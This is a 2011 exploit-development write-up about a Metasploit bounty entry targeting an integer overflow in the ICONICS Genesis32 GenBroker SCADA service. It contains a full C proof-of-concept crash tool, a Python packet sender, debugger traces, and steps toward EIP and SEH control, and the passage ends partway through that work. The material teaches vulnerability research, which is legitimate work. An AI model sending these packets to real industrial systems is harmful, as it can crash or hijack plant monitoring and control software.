Please consider donating: https://www.corelan.be/index.php/donate/


13,362 views

Metasploit Bounty – the Good, the Bad and the Ugly

Introduction

Metasploit Bounty program

On June 14, 2011  HD Moore announced the Metasploit Bounty contest,  offering a cash incentive for specific vulnerabilities to be submitted as modules in the Metasploit Framework.  Titled “30 exploits, $5000 in 5 weeks”a post on the Rapid7 blog lists the 30 “bounties” selected by the MSF team, waiting for someone to claim and submit a working exploit module.

Each exploit for a vulnerability listed in the top 5 list was worth USD $500, the other 25 exploits were worth USD $100 each. The deadline to submit a functional Metasploit module, bypassing ASLR and DEP where applicable, was set to July 20th.

Sounds like fun, so I decided to give it a try and claimed one of the vulnerabilities from the top 25 list.

The bounty contest is now closed , so I decided to share my version of the “code, sweat and tears” that were required to produce a reliable exploit.

 

Vulnerability

Initial discovery

The challenge I selected is based on a series of vulnerabilities (13! advisories) discovered by Luigi Auriemma, in Iconics Genesis32 (<= 9.21) and Genesis64 (<= 10.51). For the record, my exploit targets Genesis32. The Iconics website states :

For 32-bit platforms, ICONICS is committed to providing product improvements and added functionality to the GENESIS32 suite of HMI/SCADA and advanced visualization solutions for many years to come. With GENESIS32 and GENESIS64, ICONICS connects your plant-level operations to the enterprise, turning your real-time data into competitive advantage.

Genesis is a HMI (Human Machine Interface) application, typically used to visualize data and provide a GUI to operators to monitor and manage various processes.

The advisory reports that the GenBroker service, running on tcp port 38080, is vulnerable to an integer overflow during the handling of opcodes 3f0, 138F,1390,1391,1392,1393,1394, 1C86, 89a,89b, 450,451,454,455, 1C20,1C24.

According to some of the report, when using a specially crafted packet, you can influence the size of a memory allocation needed for the creation of an array, resulting in memory corruption.

 

The vulnerable function

Let’s take a quick look at the vulnerable code in one of the advisories:

0044AC26  |.  E8 45C5FCFF   CALL 00417170             ; get 32bit
0044AC2B  |.  8B45 00       MOV EAX,DWORD PTR SS:[EBP]
0044AC2E  |.  C1E0 02       SHL EAX,2                 ; * 4
0044AC31  |.  50            PUSH EAX
0044AC32  |.  E8 81C50500   CALL #265> ; malloc
...
0044AC95  |.  8B47 28       MOV EAX,DWORD PTR DS:[EDI+28]
0044AC98  |.  C1E0 02       SHL EAX,2                 ; * 4
0044AC9B  |.  50            PUSH EAX
0044AC9C  |.  C74424 20 020>MOV DWORD PTR SS:[ESP+20],2
0044ACA4  |.  E8 0FC50500   CALL #265> ; malloc
...
0044ACE9  |>  8B47 30       MOV EAX,DWORD PTR DS:[EDI+30]
0044ACEC  |.  C1E0 02       SHL EAX,2                 ; * 4
0044ACEF  |.  50            PUSH EAX
0044ACF0  |.  E8 C3C40500   CALL #265> ; malloc

Apparently no check is performed on the value read from the packet before multiplying it and using it as an argument to malloc() functions. This leads to memory corruption, which can lead to code execution. Up to me to prove that code execution is possible and reliable.

 

Obtaining & installing the software

One of the most heard comment from other msf bounty hunters was that it didn’t seem to be trivial to obtain a copy of the vulnerable version of the application (or even ‘a’ copy of the application for that matter), my case was no exception.  But luckily, I was able to get my hands on it, and managed to perform a default installation on my VM.

The installer drops files in 3 locations :

  • C:\Program Files\ICONICS : files related with the Licensing component
  • C:\Program Files\Common Files\ICONICS : application/service files
  • C:\Windows\System32 : TraceWorX.dll and GenClientU.dll

During the installation, I was prompted to either select an existing administrator user or to create a new one (ICONICS_USER) and have it added automatically to the administrators group. This account is used to run the genbroker.exe service.

image

image

 

PoC – triggering the overflow

The advisory contains a link to a zip file, which contains the following source code, providing poc packets for 12 cases :

/* by Luigi Auriemma */

#include 
#include 
#include 
#include 
#include <time.h>

#ifdef WIN32
    #include 
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 

    #define ONESEC  1
#endif

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;

#define VER         "0.1"
#define PORT        38080
#define BUFFSZ      0x2000  // 0x4000 is the max but 0x2000 seems more compatible

int send_gen(int sd, int type, u8 *data, int datasz);
int putss(u8 *data, u8 *str);
int putmm(u8 *data, u8 *str, int size);
int putcc(u8 *data, int chr, int size);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct  linger  ling = {1,1};
    struct  sockaddr_in peer;
    int     sd,
            i,
            bug,
            type;
    u16     port    = PORT;
    u8      *host,
            *buff,
            *fill,
            *p,
            *f;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "GenBroker <= 9.21.201.01 multiple integer overflows "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web: aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s   [port(%d)]\n"
            "\n"
            "Bugs:\n"
            " refer to the relative advisories for the available numbers\n"
            " and what vulnerabilities they test\n"
            "\n", argv[0], port);
        exit(1);
    }

    bug  = atoi(argv[1]);
    host = argv[2];
    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr = resolv(host);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port);

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    p = buff;
    switch(bug) {
        case 1: {
            type = 0x89a;
            p += putxx(p, 0, 32);
            p += putxx(p, 0x2000, 16);
            p += putxx(p, 0x20000001, 32);
            p += putxx(p, 0, 32);
            break;
        }
        case 2: {
            type = 0x453;
            p += putss(p, NULL);
            p += putss(p, NULL);
            p += putss(p, NULL);
            p += putss(p, NULL);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 16);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 32);
            p += putxx(p, 0x40000001, 32);
            break;
        }
        case 3: {
            type = 0x4b0;
            p += putss(p, NULL);
            p += putss(p, NULL);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 32);
            p += putxx(p, 0x40000001, 32);
            break;
        }
        case 4: {
            type = 0x4b2;
            p += putxx(p, 0x40000001, 32);
            break;
        }
        case 5: {
            type = 0x4b5;
            p += putss(p, NULL);
            p += putss(p, NULL);
            p += putxx(p, 0, 32);
            p += putxx(p, 0, 32);
            p += putxx(p, 0x40000001, 32);
            break;
        }
        case 6: {
            type = 0x7d0;
            p += putss(p, NULL);
            p += putss(p, NULL);
            p += putss(p, NULL);
            p += putxx(p, 0, 32);
            p += putxx(p, 0x40000001, 32);
            break;
        }
        case 7: {
            type = 0xDAE;
            p += putxx(p, 0x40000001, 32);
            break;
        }
        case 8: {
            type = 0xfa4;
            p += putxx(p, 0x20000001, 32);
            break;
        }
        case 9: {
            type = 0xfa7;
            p += putxx(p, 0x40000001, 32);
            break;
        }
        case 10: {
            type = 0x1bbc;
            p += putss(p, NULL);
            p += putss(p, NULL);
            p += putxx(p, 0, 32);
            p += putss(p, NULL);
            p += putss(p, NULL);
            p += putss(p, NULL);
            p += putxx(p, 0x40000001, 32);
            break;
        }
        case 11: {
            type = 0x1c84;
            p += putss(p, NULL);
            p += putss(p, NULL);
            p += putxx(p, 0, 32);
            p += putxx(p, 0x10000001, 32);
            break;
        }
        case 12: {
            type = 0x26AC;
            p += putxx(p, 0x40000001, 32);
            break;
        }
        default: {
            printf("\nError: invalid bug number %d\n", bug);
            exit(1);
            break;
        }
    }

    p += putcc(p, 0x41, BUFFSZ - (p - buff));   // good as string size too
    // send_gen automatically adjusts the size to 0x1ff4

    // the following part is not needed so can be removed
    printf("- heap spray packets: ");
    fill = malloc(BUFFSZ);
    if(!fill) std_err();
    f = fill;
    f += putxx(f, 340, 32);
    f += putss(f, "parameter");
    f += putss(f, "value");
    for(i = 0; i < 340; i++) {
        f += putss(f, "AAAA");
        f += putss(f, "AAAA");
        f += putxx(f, 0x41414141, 32);
        f += putxx(f, 0x41414141, 32);
        f += putxx(f, 0x41414141, 32);
    }
    for(i = 0; i < 20; i++) {
        fputc('.', stdout);
        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();
        setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling));
        if(connect(sd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) std_err();
        send_gen(sd, 0x4b2, fill, f - fill);
        close(sd);
    }
    printf("\n");

    printf("- malformed packets: ");
    for(i = 0; i < 10; i++) {
        fputc('.', stdout);
        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();
        setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling));
        if(connect(sd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) std_err();
        send_gen(sd, type, buff, p - buff);
        close(sd);
    }
    printf("\n");

    printf("- done\n");
    return(0);
}

int send_gen(int sd, int type, u8 *data, int datasz) {
    static u8   buff[BUFFSZ];
    static int  pck     = 1;
    int         t;
    u8          *p;

    t = 4 + 4 + 4 + datasz;
    if(t > (BUFFSZ - 12)) t = BUFFSZ - 12;

    p = buff;
    p += putxx(p, 1,            16);
    p += putxx(p, htons(pck++), 16);
    p += putxx(p, htonl(1),     32);
    p += putxx(p, htonl(t),     32);

    p += putxx(p, 1,            32);
    p += putxx(p, 0,            32);
    p += putxx(p, type,         32);
    if(datasz > 0) p += putmm(p, data, datasz);

    if(send(sd, buff, p - buff, 0) < 0) return(-1);
    return(0);
}

int putss(u8 *data, u8 *str) {
    int     len;
    u8      *p;

    len = 0;
    if(str) len = strlen(str);

    p = data;
    if(len < 0xff) {
        p += putxx(p, len, 8);
    } else {
        p += putxx(p, 0xff, 8);
        p += putxx(p, len, 16);
    }
    p += putmm(p, str, len);
    return(p - data);
}

int putmm(u8 *data, u8 *str, int size) {
    if(size < 0) size = strlen(str);
    memcpy(data, str, size);
    return(size);
}

int putcc(u8 *data, int chr, int size) {
    memset(data, chr, size);
    return(size);
}

int putxx(u8 *data, u32 num, int bits) {
    int     i,
            bytes;

    bytes = bits >> 3;
    for(i = 0; i < bytes; i++) {
        //data[i] = num >> ((bytes - 1 - i) << 3);
        data[i] = num >> (i << 3);
    }
    return(bytes);
}

int timeout(int sock, int secs) {
    struct  timeval tout;
    fd_set  fd_read;

    tout.tv_sec  = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    if(select(sock + 1, &fd_read, NULL, NULL, &tout)
      <= 0) return(-1);
    return(0);
}

u32 resolv(char *host) {
    struct  hostent *hp;
    u32     host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u32 *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

The code provides a PoC overflow for 12 cases. I tried running each case & observed the crashes for each of the cases :

  • Case 1 : read access violation
  • Case 2 : read access violation in call [EDX] at 004359E9 (reading 41414141). This might be interesting.
  • Case 3 : EIP = CCCCCCCC . Very very interesting
  • Case 4 : read access violation
  • Case 5 : read access violation
  • Case 6 : same result as case 2
  • Case 7 : read access violation
  • Case 8 : write access violation (write value we control to location we don’t seem to control). Still might be interesting (4 byte arbitrary write ?)
  • Case 9 : same result as case 8
  • Case 10 : read access violation
  • Case 11 : write access violation (INC instruction, writing to [EAX+10], which we control).
  • Case 12 : read access violation in call [eax+58]. We control EAX, so this might be very interesting.

Based on my observations, I decided to start working on the packet produced by case 3, because it gave us direct control over EIP, we could see pointers to our payload on the stack, and we have at least one register pointing into the payload.  Although case 12 also would provide us with direct control over EIP, there are less obvious pointers to payload on the stack.

Summarizing case 3, the packet would need to contain the following specifications.

  • opcode 0x4b0
  • value of 0x40000001
  • a bunch of A’s

Although the POC code contained a “heap spray” (basically sending a bunch of packets with A’s prior to sending the ‘kill’ packet), I discovered that loading the payload inside the kill packet allows us to access that payload as well.

A basic python script to reproduce this case, based on sniffing traffic, looks like this :

#!/usr/bin/python
# lincoln - lincoln@corelan.be
#
import socket,sys,struct

header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01"
header += "\x00" * 7
opcode = "\xb0\x04"
header2 = "\x00" * 36
header3 = "\x01\x00\x00\x40"

buffer = "A" * 10000

payload = header + opcode + header2 + header3 + buffer

def sploit():
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('127.0.0.1', 38080))
	print "[+] Kill packet sent!\n"
	s.send(payload)
	s.close()

if __name__ == '__main__':
        try:
                sploit()
        except:
                print "error"
                sys.exit(0)

As explained before, after throwing this packet to the GenBroker.exe service, we call MFC71U.ATL::CSimpleStringT() at 0x7c274B92 and then end up executing 0x7c274BF8 (MFC71U.CAfxStringMgr::Allocate())

After 4 allocations, the code ends up running a routine at 7c25D069 (see later) 2 times.

Next, another series of allocations are made. During the second attempt, in MFC71U.ATL::CSimpleStringT(), we notice that we try to call a function at [EAX+10].

EAX+10 points into a vtable inside mfc71u.dll (contents during normal operation) :

MFC71U!ATL::CSimpleStringT::Fork+0x1a:
7c274bac ff5010          call    dword ptr [eax+10h]
     ds:0023:7c26a150={MFC71U!CAfxStringMgr::Clone (7c274b57)}
0:005> ln eax+10
(7c26a140)   MFC71U!CAfxStringMgr::`vftable'+0x10   |
    (7c26a154)   MFC71U!CAfxStringMgr::`RTTI Complete Object Locator'

vtable :

7c274bf8 : mfc71u!CAfxStringMgr::Allocate()
7c27c9b2 : mfc71u!CAfxStringMgr__Free()
7c27dc90 : mfc71u!CAfxStringMgr__Reallocate()
7c274b49 : mfc71u!CAfxStringMgr::GetNilString()
7c274b57 : mfc71u!CAfxStringMgr::Clone()

Using our simple packet, using 10000 A’s as payload, we seem to have overwritten the pointer to the vtable (EAX) with unicode “AA” (part of our payload). At EAX+10 we see “CC CC CC CC” (see dump window in the lower left half of the screen)

image

Obviously, this call leads to EIP control :

image

That’s good enough :)

We managed to control EIP and we can see pointers to our payload on the stack.  The advisory also explains that there are many ways to trigger corruption, and maybe changing the payload itself (10000 A’s in our case) will change the flow of the application too.

So it appears we own some part of the program…but can we make it further than this?

Something’s to consider is our pointer is in unicode (EAX = 00410041), which will considerably shrink the amount of pointers we have available to use. Not only are we limited in our selection but we essentially need to find a pointer to a pointer, because EAX is populated by reading ECX earlier on

7C274B99   . 8B31           MOV ESI,DWORD PTR DS:[ECX]
7C274B9B   . 8B5E F4        MOV EBX,DWORD PTR DS:[ESI-C]
7C274B9E   . 83EE 10        SUB ESI,10
7C274BA1   . 894D F8        MOV DWORD PTR SS:[EBP-8],ECX
7C274BA4   . 8B0E           MOV ECX,DWORD PTR DS:[ESI]
7C274BA6   . 8B01           MOV EAX,DWORD PTR DS:[ECX]
7C274BA8   . 57             PUSH EDI
7C274BA9   . 895D FC        MOV DWORD PTR SS:[EBP-4],EBX
7C274BAC   . FF50 10        CALL DWORD PTR DS:[EAX+10]

Since we are calling the data segment of a pointer we are loading the op code or bytes at that location into EIP.

Lets look at that more in detail using an sample pointer (one that we put in ourselves at runtime). Besides the fact that our ‘test’ pointer is not unicode we will use it simply for an example to see what EIP will look like after the call [EAX + 10] is made.

If we use a pointer at 0x0041AAD5, it will lead to “ADD ESP, 0C # RETN”.

If we subtract 0x10 from that pointer (to compensate for EAX + 10) we are left with 0x0041AAC5.

Let’s go ahead and rerun our code and put a break point at the call (bp at 7C274BAC). Then we will change EAX into 0x0041AAC5 and execute the call.

DS:[0041AAD5]=C30CC483

pic2

If we look at the picture we can see that instead of our “ADD ESP, 0C # RETN” we landed at the opcode or bytes of that pointer. If we take into account the little endian of our bytes we see that \xc3\x0c\xc4\x83”, which is the opcode for the “add esp,0c/retn” gadget has become our pointer! So we need to keep this into consideration when we begin looking for a pointer that we will need to use for the call. It basically means we need to find a pointer to the pointer.

Also : since we control what is being copied over,  perhaps we might be able to find different flows that lead us to different calls.

Before we move any further lets go ahead and look at our modules, basically enumerating what is available to us when looking for pointers.

 

Analysis

Module analysis, safeseh, rebase

Running “!mona modules” in Immunity Debugger will give us some great information with what were not only up against in terms of limitations but also what we can what modules we can work with.

0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D   Module info :
0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D   Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D   0x002f0000 | 0x00346000 | 0x00056000 | True   | True    | False |  False   | True   | 7.10.3052.4 [MSVCR71.dll] (C:\WINDOWS\system32\MSVCR71.dll)
0BADF00D   0x74980000 | 0x74aa3000 | 0x00123000 | False  | True    | False |  False   | True   | 8.100.1052.0 [msxml3.dll] (C:\WINDOWS\system32\msxml3.dll)
0BADF00D   0x77a80000 | 0x77b15000 | 0x00095000 | False  | True    | False |  False   | True   | 5.131.2600.5512 [CRYPT32.dll] (C:\WINDOWS\system32\CRYPT32.dll)
0BADF00D   0x76f20000 | 0x76f47000 | 0x00027000 | False  | True    | False |  False   | True   | 5.1.2600.6089 [DNSAPI.dll] (C:\WINDOWS\system32\DNSAPI.dll)
0BADF00D   0x7c800000 | 0x7c8f6000 | 0x000f6000 | False  | True    | False |  False   | True   | 5.1.2600.5781 [kernel32.dll] (C:\WINDOWS\system32\kernel32.dll)
0BADF00D   0x76780000 | 0x76789000 | 0x00009000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [SHFOLDER.dll] (C:\WINDOWS\system32\SHFOLDER.dll)
0BADF00D   0x7c3a0000 | 0x7c41b000 | 0x0007b000 | False  | True    | False |  False   | True   | 7.10.3077.0 [MSVCP71.dll] (C:\WINDOWS\system32\MSVCP71.dll)
0BADF00D   0x7c900000 | 0x7c9b2000 | 0x000b2000 | False  | True    | False |  False   | True   | 5.1.2600.6055 [ntdll.dll] (C:\WINDOWS\system32\ntdll.dll)
0BADF00D   0x71a90000 | 0x71a98000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [wshtcpip.dll] (C:\WINDOWS\System32\wshtcpip.dll)
0BADF00D   0x00290000 | 0x002bf000 | 0x0002f000 | True   | False   | False |  False   | True   | 9.20.200.49 [TraceWorX.DLL] (C:\WINDOWS\system32\TraceWorX.DLL)
0BADF00D   0x76fc0000 | 0x76fc6000 | 0x00006000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [rasadhlp.dll] (C:\WINDOWS\system32\rasadhlp.dll)
0BADF00D   0x77fe0000 | 0x77ff1000 | 0x00011000 | False  | True    | False |  False   | True   | 5.1.2600.5834 [Secur32.dll] (C:\WINDOWS\system32\Secur32.dll)
0BADF00D   0x71ad0000 | 0x71ad9000 | 0x00009000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WSOCK32.dll] (C:\WINDOWS\system32\WSOCK32.dll)
0BADF00D   0x71aa0000 | 0x71aa8000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WS2HELP.dll] (C:\WINDOWS\system32\WS2HELP.dll)
0BADF00D   0x774e0000 | 0x7761e000 | 0x0013e000 | False  | True    | False |  False   | True   | 5.1.2600.6010 [ole32.dll] (C:\WINDOWS\system32\ole32.dll)
0BADF00D   0x77f60000 | 0x77fd6000 | 0x00076000 | False  | True    | False |  False   | True   | 6.00.2900.5912 [SHLWAPI.dll] (C:\WINDOWS\system32\SHLWAPI.dll)
0BADF00D   0x662b0000 | 0x66308000 | 0x00058000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [hnetcfg.dll] (C:\WINDOWS\system32\hnetcfg.dll)
0BADF00D   0x7e410000 | 0x7e4a1000 | 0x00091000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [USER32.dll] (C:\WINDOWS\system32\USER32.dll)
0BADF00D   0x01080000 | 0x0108f000 | 0x0000f000 | True   | True    | False |  False   | True   | 9.20.200.49 [MwxPS.dll] (C:\WINDOWS\system32\MwxPS.dll)
0BADF00D   0x64d00000 | 0x64d34000 | 0x00034000 | False  | True    | False |  True    | False  | 6.0.1203.0 [snxhk.dll] (C:\Program Files\AVAST Software\Avast\snxhk.dll)
0BADF00D   0x71b20000 | 0x71b32000 | 0x00012000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [MPR.dll] (C:\WINDOWS\system32\MPR.dll)
0BADF00D   0x002c0000 | 0x002e7000 | 0x00027000 | True   | True    | False |  False   | True   | 9.20.200.49 [UnifiedSetupStorage.dll] (C:\WINDOWS\system32\UnifiedSetupStorage.dll)
0BADF00D   0x7c250000 | 0x7c352000 | 0x00102000 | False  | True    | False |  False   | True   | 7.10.3077.0 [MFC71U.DLL] (C:\WINDOWS\system32\MFC71U.DLL)
0BADF00D   0x5ad70000 | 0x5ada8000 | 0x00038000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [uxtheme.dll] (C:\WINDOWS\system32\uxtheme.dll)
0BADF00D   0x10000000 | 0x10186000 | 0x00186000 | False  | True    | False |  False   | True   | 9.21.201.02 [GenClientU.dll] (C:\WINDOWS\system32\GenClientU.dll)
0BADF00D   0x77120000 | 0x771ab000 | 0x0008b000 | False  | True    | False |  False   | True   | 5.1.2600.6058 [OLEAUT32.dll] (C:\WINDOWS\system32\OLEAUT32.dll)
0BADF00D   0x00400000 | 0x0085f000 | 0x0045f000 | False  | True    | False |  False   | False  | 9.21.201.01 [GenBroker.exe] (C:\Program Files\Common Files\ICONICS\GenBroker.exe)
0BADF00D   0x7c9c0000 | 0x7d1d7000 | 0x00817000 | False  | True    | False |  False   | True   | 6.00.2900.6072 [SHELL32.dll] (C:\WINDOWS\system32\SHELL32.dll)
0BADF00D   0x77e70000 | 0x77f03000 | 0x00093000 | False  | True    | False |  False   | True   | 5.1.2600.6022 [RPCRT4.dll] (C:\WINDOWS\system32\RPCRT4.dll)
0BADF00D   0x00bf0000 | 0x00eb5000 | 0x002c5000 | True   | True    | False |  False   | True   | 5.1.2600.5512 [xpsp2res.dll] (C:\WINDOWS\system32\xpsp2res.dll)
0BADF00D   0x76fd0000 | 0x7704f000 | 0x0007f000 | False  | True    | False |  False   | True   | 2001.12.4414.700 [CLBCATQ.DLL] (C:\WINDOWS\system32\CLBCATQ.DLL)
0BADF00D   0x773d0000 | 0x774d3000 | 0x00103000 | False  | True    | False |  False   | True   | 6.0 [comctl32.dll] (C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll)
0BADF00D   0x76390000 | 0x763ad000 | 0x0001d000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [IMM32.DLL] (C:\WINDOWS\system32\IMM32.DLL)
0BADF00D   0x76fb0000 | 0x76fb8000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [winrnr.dll] (C:\WINDOWS\System32\winrnr.dll)
0BADF00D   0x77050000 | 0x77115000 | 0x000c5000 | False  | True    | False |  False   | True   | 2001.12.4414.700 [COMRes.dll] (C:\WINDOWS\system32\COMRes.dll)
0BADF00D   0x76f60000 | 0x76f8c000 | 0x0002c000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WLDAP32.dll] (C:\WINDOWS\system32\WLDAP32.dll)
0BADF00D   0x76d60000 | 0x76d79000 | 0x00019000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [iphlpapi.dll] (C:\WINDOWS\system32\iphlpapi.dll)
0BADF00D   0x71a50000 | 0x71a8f000 | 0x0003f000 | False  | True    | False |  False   | True   | 5.1.2600.5625 [mswsock.dll] (C:\WINDOWS\System32\mswsock.dll)
0BADF00D   0x77f10000 | 0x77f59000 | 0x00049000 | False  | True    | False |  False   | True   | 5.1.2600.5698 [GDI32.dll] (C:\WINDOWS\system32\GDI32.dll)
0BADF00D   0x77b20000 | 0x77b32000 | 0x00012000 | False  | True    | False |  False   | True   | 5.1.2600.5875 [MSASN1.dll] (C:\WINDOWS\system32\MSASN1.dll)
0BADF00D   0x77c10000 | 0x77c68000 | 0x00058000 | False  | True    | False |  False   | True   | 7.0.2600.5512 [msvcrt.dll] (C:\WINDOWS\system32\msvcrt.dll)
0BADF00D   0x77c00000 | 0x77c08000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [VERSION.dll] (C:\WINDOWS\system32\VERSION.dll)
0BADF00D   0x77dd0000 | 0x77e6b000 | 0x0009b000 | False  | True    | False |  False   | True   | 5.1.2600.5755 [ADVAPI32.dll] (C:\WINDOWS\system32\ADVAPI32.dll)
0BADF00D   0x71ab0000 | 0x71ac7000 | 0x00017000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WS2_32.dll] (C:\WINDOWS\system32\WS2_32.dll)
0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------

 

We can see that the only obvious module that might contains unicode pointers is the main application, GenBroker.exe.

This module has no aslr and is not going to be get rebased, but it is SafeSEH enabled.

The other 2 unicode modules are affected by rebasing the virtual memory base address range.

We might be able to take advantage of unicode conversions too, but all in all, this leaves us with not  that many options.

Anyways, let’s try to find a unicode pointer to put in eax and see how far we get with that.

 

Solution I

Since we have to find a pointer to a pointer in GenBroker.exe some manual discovery was done here. Since our address range is from  0x00400000 to 0x0085f000 and we have to find a unicode data segment pointer, there was an easy way to search for those pointers with mona.py. If we could search each address range with the bytes of that address we could see what pointers we could find in GenBroker.exe.

For example we will run

!mona find -s "\x44\x00" -cp unicode –m GenBroker.exe

we can find pointers that contain the opcode or data bytes of possible unicode pointers.

0x00450056 : "\x44\x00" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]
0x0045005a : "\x44\x00" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]
0x0045005e : "\x44\x00" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]
0x00450062 : "\x44\x00" | startnull,unicode,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [GenBroker.exe]
0x00450066 : "\x44\x00" | startnull,unicode,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [GenBroker.exe]
0x0045007a : "\x44\x00" | startnull,unicode,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [GenBroker.exe]
0x0045007e : "\x44\x00" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]
0x00450082 : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]
0x00450086 : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]
0x0045008a : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]
0x0045008e : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]
0x00450092 : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]
0x00450096 : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]
0x0045009a : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]
0x00450152 : "\x44\x00" | startnull,unicode ansi transformed : 0045008C, / alternatives (close pointers) : 0045009C->00450153,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]
0x00450156 : "\x44\x00" | startnull,unicode possible ansi transform(s) : 0045008C->00450152 / 0045009C->00450153,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]
0x0045015a : "\x44\x00" | startnull,unicode possible ansi transform(s) : 0045008C->00450152 / 0045009C->00450153,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]

Most of these turned out to be pointers from the IAT in GenBroker.exe, so we could essentially take advantage of the byes in these address locations for our call [EAX +10]. All we would need to do is see where these pointers actually take us and if they can be utilized to get to our buffer.

00450054   . F8F74400       DD GenBroke.0044F7F8  ;  Switch table used at 0044F7D4
00450058   . 15F84400       DD GenBroke.0044F815
0045005C   . 32F84400       DD GenBroke.0044F832
00450060   . DBF74400       DD GenBroke.0044F7DB
00450064   . F1FC4400       DD GenBroke.0044FCF1

Looking at 0x0044FCF1 we see something interesting.

0044FCF1  |> 8B4C24 0C      MOV ECX,DWORD PTR SS:[ESP+C]  ;  Default case of switch 0044F579
0044FCF5  |. 5F             POP EDI
0044FCF6  |. 5E             POP ESI
0044FCF7  |. 64:890D 000000>MOV DWORD PTR FS:[0],ECX
0044FCFE  |. 5B             POP EBX
0044FCFF  |. 83C4 0C        ADD ESP,0C
0044FD02  \. C2 0400        RETN 4

If we look at the stack setup we see that ESP + C points to our buffer and will load ECX with that location.

$ ==>    > 7C274BAF  ¯K'|  RETURN to MFC71U.7C274BAF
$+4      > 016CFDF8  øýl
$+8      > 00000041  A...
$+C      > 016CFCB4  ´ül  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

That means that “MOV ECX,DWORD PTR SS:[ESP+C]” will load ECX with our buffer. The next interesting function is :

0044FCF7  |. 64:890D 000000>MOV DWORD PTR FS:[0],ECX

A pointer to the first entry in the SEH chain on the stack is located at [TEB + 0]. Since ECX contains our buffer we can essentially create a new SEH chain. The pointer of ECX also happens to be the top of the stack we control from our memcpy(). Lets go ahead and run our code again and manually put 0x0044FCF1 into EAX once EIP is overwritten and single step through the program in the debugger. Once we step over 0X044FCF7 we can see that we now control SEH on our stack.

pic3

